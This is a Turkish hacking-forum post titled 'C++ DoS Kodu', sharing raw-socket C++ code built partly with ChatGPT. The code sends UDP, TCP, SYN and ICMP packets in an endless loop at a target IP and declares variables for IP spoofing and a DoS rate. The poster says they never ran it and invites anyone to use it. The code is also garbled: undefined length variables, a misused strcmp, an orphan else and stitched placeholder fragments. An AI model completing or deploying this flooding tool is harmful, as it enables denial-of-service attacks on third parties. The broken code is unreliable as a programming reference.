C++ DoS Kodu

1 Tem 2023
51
13
Kendi yazdığım Temel u ChatGPT ile modifiye ederek hping3 e benzeyen bir Ping uygulaması yaptım Kodu çalıştırmadım zaten bunu hobi olarak yapıyorum öylesine yaptım dilediğiniz gibi Kullanın

Kod:

#include <iostream>
#include <cstring>
#include <ctime>
#include <unistd.h>
#include <netinet/in.h>
#include <cstdlib>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <netinet/ip_icmp.h>

#define PACKET_SIZE 64

unsigned short checksum(void *b, int len) {
unsigned short *buf = (unsigned short *)b;
unsigned int sum = 0;
unsigned short result;

for (sum = 0; len > 1; len -= 2)
sum += *buf++;

if (len == 1)
sum += *(unsigned char *)buf;

sum = (sum >> 16) + (sum & 0xFFFF);
sum += (sum >> 16);
result = ~sum;

return result;
}

void sendPacket(int sockfd, char *buffer, int size, sockaddr_in addr) {
if (sendto(sockfd, buffer, size, 0, (struct sockaddr *)&addr, sizeof(addr)) <= 0) {
perror("Sendto error");
}
}

int main(int argc, char *argv[]) {
bool continuous = false;
int packetSize = PACKET_SIZE;
int port = 0;
bool syn = false;
bool udp = false;
bool tcp = false;
char spoofIP[20] = "";
char spoofMAC[20] = "";
int dosRate = 0;
bool random = false;
bool noResponse = false;

for (int i = 1; i < argc; i++) {
if (strcmp(argv, "-h") == 0) {
std::cout << "-h = Yardım sayfası" << std::endl;
exit(0);
}
// ... Diğer parametre işlemleri ...
}

int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("Socket error");
return 1;
}

char buffer[PACKET_SIZE];
memset(buffer, 0, sizeof(buffer));

struct sockaddr_in addr;
memset(&addr, 0, sizeof(struct sockaddr_in));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // Change this to the target IP address

while (true) {


// ... (previous code)

while (true) {
if (udp) {
// Construct and send UDP packet
struct udphdr *udp_hdr = (struct udphdr *)(buffer + sizeof(struct iphdr));
udp_hdr->source = htons(12345); // Source port
udp_hdr->dest = htons(port); // Destination port
udp_hdr->len = htons(sizeof(struct udphdr)); // Packet length
udp_hdr->check = 0; // Checksum

// UDP data
char *udp_data = buffer + sizeof(struct iphdr) + sizeof(struct udphdr);
// Fill in your UDP data here

// Calculate and set UDP checksum
// ...

sendPacket(sockfd, buffer, sizeof(struct iphdr) + sizeof(struct udphdr) + udp_data_length, addr);
}

if (tcp) {
// Construct and send TCP packet
struct tcphdr *tcp_hdr = (struct tcphdr *)(buffer + sizeof(struct iphdr));
tcp_hdr->source = htons(12345); // Source port
tcp_hdr->dest = htons(port); // Destination port
tcp_hdr->seq = 0;
tcp_hdr->ack_seq = 0;
tcp_hdr->doff = 5; // Data offset
tcp_hdr->syn = 0; // No SYN flag
tcp_hdr->window = htons(65535); // Window size
tcp_hdr->check = 0; // Checksum
tcp_hdr->urg_ptr = 0;

// TCP data
char *tcp_data = buffer + sizeof(struct iphdr) + sizeof(struct tcphdr);
// Fill in your TCP data here

// Calculate and set TCP checksum
// ...

sendPacket(sockfd, buffer, sizeof(struct iphdr) + sizeof(struct tcphdr) + tcp_data_length, addr);
}

if (syn) {
// Construct and send SYN packet
struct tcphdr *tcp_hdr = (struct tcphdr *)(buffer + sizeof(struct iphdr));
tcp_hdr->source = htons(12345); // Source port
tcp_hdr->dest = htons(port); // Destination port
tcp_hdr->seq = 0;
tcp_hdr->ack_seq = 0;
tcp_hdr->doff = 5; // Data offset
tcp_hdr->syn = 1; // Set SYN flag
tcp_hdr->window = htons(65535); // Window size
tcp_hdr->check = 0; // Checksum
tcp_hdr->urg_ptr = 0;

// Calculate and set TCP checksum
// ...

sendPacket(sockfd, buffer, sizeof(struct iphdr) + sizeof(struct tcphdr), addr);
}



} else {
// Construct and send ICMP Echo packet
struct icmphdr *icmp_hdr = (struct icmphdr *)(buffer + sizeof(struct iphdr));
icmp_hdr->type = ICMP_ECHO;
icmp_hdr->code = 0;
icmp_hdr->checksum = 0; // ICMP packet checksum calculation to be done
icmp_hdr->un.echo.id = getpid();
icmp_hdr->un.echo.sequence = 0;
memset(icmp_hdr->data, 0xa5, packetSize);
icmp_hdr->checksum = checksum(icmp_hdr, sizeof(struct icmphdr) + packetSize);

sendPacket(sockfd, buffer, sizeof(struct iphdr) + sizeof(struct icmphdr) + packetSize, addr);

if (!noResponse) {
// Send another packet for response if needed
sendPacket(sockfd, buffer, sizeof(struct iphdr) + sizeof(struct icmphdr) + packetSize, addr);
std::cout << "Ping: " << port << " Ping süresi yazacak" << std::endl;
}
}

if (!continuous) {
break;
}

sleep(2); // Update every 2 seconds
}

close(sockfd);
return 0;
}



Ayrıca eğer Kodu Kendiniz Modifiye ederseniz bir şey demem dilediğiniz gibi Kullanın
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.